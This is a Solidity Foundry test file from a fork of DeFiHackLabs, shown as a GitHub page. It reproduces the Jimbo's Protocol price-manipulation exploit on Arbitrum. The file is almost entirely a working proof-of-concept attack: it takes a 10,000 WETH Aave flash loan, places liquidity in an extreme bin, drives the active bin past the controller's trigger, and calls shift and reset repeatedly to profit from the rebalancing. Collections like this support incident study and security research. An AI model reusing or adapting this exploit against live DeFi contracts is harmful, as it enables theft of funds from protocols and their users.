forked from SunWeb3Sec/DeFiHackLabs
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Jimbo_exp.sol
312 lines (260 loc) · 10.6 KB
/
Jimbo_exp.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
// @Analysis
// https://twitter.com/cryptofishx/status/1662888991446941697
// https://docs.jimbosprotocol.xyz/protocol/liquidity-rebalancing-scenarios
// https://twitter.com/yicunhui2/status/1663793958781353985
// @TX
// https://arbiscan.io/tx/0xf9baf8cee8973cf9700ae1b1f41c625d7a2abdbcbc222582d24a8f2f790d0b5a
// https://arbiscan.io/tx/0xfda5464e97043a2d0093cbed6d0a64f6a86049f5e9608c014396a7390188670e
// https://arbiscan.io/tx/0x3c6e053faecd331883641c1d23c9d9d37d065e4f9c4086e94a3c34bf8702618a
// https://arbiscan.io/tx/0x44a0f5650a038ab522087c02f734b80e6c748afb207995e757ed67ca037a5eda
// @Summary
// Protocol-specific price manipulation
interface IJimboController {
function shift() external;
function reset() external;
function anchorBin() external view returns (uint24);
function triggerBin() external view returns (uint24);
}
interface ILBPair {
function getActiveId() external view returns (uint24 activeId);
function getBin(uint24 id) external view returns (uint128 binReserveX, uint128 binReserveY);
function getSwapIn(
uint128 amountOut,
bool swapForY
) external view returns (uint128 amountIn, uint128 amountOutLeft, uint128 fee);
}
interface ILBRouter {
enum Version {
V1,
V2,
V2_1
}
/**
* @dev The liquidity parameters, such as:
* - tokenX: The address of token X
* - tokenY: The address of token Y
* - binStep: The bin step of the pair
* - amountX: The amount to send of token X
* - amountY: The amount to send of token Y
* - amountXMin: The min amount of token X added to liquidity
* - amountYMin: The min amount of token Y added to liquidity
* - activeIdDesired: The active id that user wants to add liquidity from
* - idSlippage: The number of id that are allowed to slip
* - deltaIds: The list of delta ids to add liquidity (`deltaId = activeId - desiredId`) //@note: wrong comment here, should be `activeId + deltaId = desireId`
* - distributionX: The distribution of tokenX with sum(distributionX) = 100e18 (100%) or 0 (0%)
* - distributionY: The distribution of tokenY with sum(distributionY) = 100e18 (100%) or 0 (0%)
* - to: The address of the recipient
* - refundTo: The address of the recipient of the refunded tokens if too much tokens are sent
* - deadline: The deadline of the transaction
*/
struct LiquidityParameters {
IERC20 tokenX;
IERC20 tokenY;
uint256 binStep;
uint256 amountX;
uint256 amountY;
uint256 amountXMin;
uint256 amountYMin;
uint256 activeIdDesired;
uint256 idSlippage;
int256[] deltaIds;
uint256[] distributionX;
uint256[] distributionY;
address to;
address refundTo;
uint256 deadline;
}
/**
* @dev The path parameters, such as:
* - pairBinSteps: The list of bin steps of the pairs to go through
* - versions: The list of versions of the pairs to go through
* - tokenPath: The list of tokens in the path to go through
*/
struct Path {
uint256[] pairBinSteps;
Version[] versions;
IERC20[] tokenPath;
}
function addLiquidity(LiquidityParameters calldata liquidityParameters)
external
returns (
uint256 amountXAdded,
uint256 amountYAdded,
uint256 amountXLeft,
uint256 amountYLeft,
uint256[] memory depositIds,
uint256[] memory liquidityMinted
);
function swapExactTokensForNATIVE(
uint256 amountIn,
uint256 amountOutMinNATIVE,
Path memory path,
address payable to,
uint256 deadline
) external returns (uint256 amountOut);
function swapExactNATIVEForTokens(
uint256 amountOutMin,
Path memory path,
address to,
uint256 deadline
) external payable returns (uint256 amountOut);
function swapNATIVEForExactTokens(
uint256 amountOut,
Path memory path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amountsIn);
function swapTokensForExactNATIVE(
uint256 amountOut,
uint256 amountInMax,
Path memory path,
address payable to,
uint256 deadline
) external returns (uint256[] memory amountsIn);
}
contract JimboExp is Test {
IJimboController controller = IJimboController(0x271944d9D8CA831F7c0dBCb20C4ee482376d6DE7);
ILBPair pair = ILBPair(0x16a5D28b20A3FddEcdcaf02DF4b3935734df1A1f);
ILBRouter router = ILBRouter(0xb4315e873dBcf96Ffd0acd8EA43f689D8c20fB30);
IAaveFlashloan pool = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
WETH9 weth = WETH9(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1);
IERC20 Jimbo = IERC20(0xC3813645Ad2Ea0AC9D4d72D77c3755ac3B819e38);
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("arbitrum", 95_144_404);
deal(address(this), 0);
}
function testExp() external {
emit log_named_decimal_uint("[Start] Attacker WETH Balance", weth.balanceOf(address(this)), 18);
weth.approve(address(pool), type(uint256).max);
address[] memory assets = new address[](1);
uint256[] memory amounts = new uint256[](1);
uint256[] memory modes = new uint256[](1);
assets[0] = address(weth);
amounts[0] = 10_000 ether;
modes[0] = 0;
pool.flashLoan(address(this), assets, amounts, modes, address(0), abi.encodePacked(uint16(0x3230)), 0);
emit log_named_decimal_uint("[End] Attacker WETH Balance", weth.balanceOf(address(this)), 18);
}
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
weth.approve(address(router), type(uint256).max);
Jimbo.approve(address(router), type(uint256).max);
weth.withdraw(10_000 ether);
// Step1: add Liquidity to a high bin
uint256[] memory steps = new uint256[](1);
ILBRouter.Version[] memory version = new ILBRouter.Version[](1);
IERC20[] memory tokenPath = new IERC20[](2);
steps[0] = 100;
version[0] = ILBRouter.Version.V2_1;
tokenPath[0] = IERC20(address(weth));
tokenPath[1] = Jimbo;
ILBRouter.Path memory path = ILBRouter.Path(steps, version, tokenPath);
router.swapNATIVEForExactTokens{value: 10 ether}(1 ether, path, address(this), block.timestamp + 100);
uint24 activeId = pair.getActiveId();
uint256 amount1 = Jimbo.balanceOf(address(this));
int256[] memory deltaIds = new int256[](1);
uint256[] memory distributionX = new uint256[](1);
uint256[] memory distributionY = new uint256[](1);
deltaIds[0] = int256(uint256(uint24((1 << 23) - 1) - activeId));
distributionX[0] = 1e18;
distributionY[0] = 0;
ILBRouter.LiquidityParameters memory parameter1 = ILBRouter.LiquidityParameters(
Jimbo,
IERC20(address(weth)),
100,
amount1,
0,
0,
0,
activeId,
0,
deltaIds,
distributionX,
distributionY,
address(this),
address(this),
block.timestamp + 100
);
router.addLiquidity(parameter1);
// Step2: trigger the `triggerBin`
activeId = pair.getActiveId();
uint24 triggerBin = controller.triggerBin();
uint256 amountOut = 0;
for (uint24 i = activeId; i <= triggerBin; ++i) {
(uint128 binReserveX, uint128 binReserveY) = pair.getBin(i);
amountOut += binReserveX;
//if (i == triggerBin) amountOut += (binReserveX / 10);
}
router.swapNATIVEForExactTokens{value: address(this).balance}(
amountOut + 1, path, address(this), block.timestamp + 100
);
activeId = pair.getActiveId();
triggerBin = controller.triggerBin();
require(activeId > triggerBin, "not above triggerBin");
// Step3: shift
controller.shift();
// Step4: buy All normal Jimbo
amountOut = 0;
for (uint24 j = 0; j <= 50; ++j) {
(uint128 binReserveX, uint128 binReserveY) = pair.getBin(j + activeId);
amountOut += binReserveX;
}
// (uint128 binReserveX,) = pair.getBin(activeId1 + 896);
// amountOut += uint256(binReserveX / 2);
router.swapNATIVEForExactTokens{value: address(this).balance}(
amountOut + 1, path, address(this), block.timestamp + 100
);
require(pair.getActiveId() == 8_388_607, "wrong");
// Step5: shift back
Jimbo.transfer(address(controller), 100);
controller.shift();
uint24 anchorBin = controller.anchorBin();
path.tokenPath[1] = path.tokenPath[0];
path.tokenPath[0] = Jimbo;
while (pair.getActiveId() >= anchorBin) {
amountOut = 0;
for (uint24 j = pair.getActiveId(); j >= anchorBin; --j) {
(, uint128 binReserveY) = pair.getBin(j);
amountOut += binReserveY;
}
(uint256 amountIn,,) = pair.getSwapIn(uint128(amountOut), true);
router.swapExactTokensForNATIVE(amountIn + 1, 0, path, payable(this), block.timestamp + 100);
}
require(pair.getActiveId() < anchorBin, "wrong2");
// Step6 reset to be plain
controller.reset();
// Step7: buy to High again
activeId = pair.getActiveId();
amountOut = 0;
for (uint24 j = 0; j <= 50; ++j) {
(uint128 binReserveX, uint128 binReserveY) = pair.getBin(j + activeId);
amountOut += binReserveX;
}
path.tokenPath[0] = path.tokenPath[1];
path.tokenPath[1] = Jimbo;
router.swapNATIVEForExactTokens{value: address(this).balance}(
amountOut + 1, path, address(this), block.timestamp + 100
);
// Step8: shift back
Jimbo.transfer(address(controller), 100);
controller.shift();
// Step9: swap back
path.tokenPath[1] = path.tokenPath[0];
path.tokenPath[0] = Jimbo;
router.swapExactTokensForNATIVE(Jimbo.balanceOf(address(this)), 0, path, payable(this), block.timestamp + 100);
// end
weth.deposit{value: address(this).balance}();
return true;
}
receive() external payable {}
}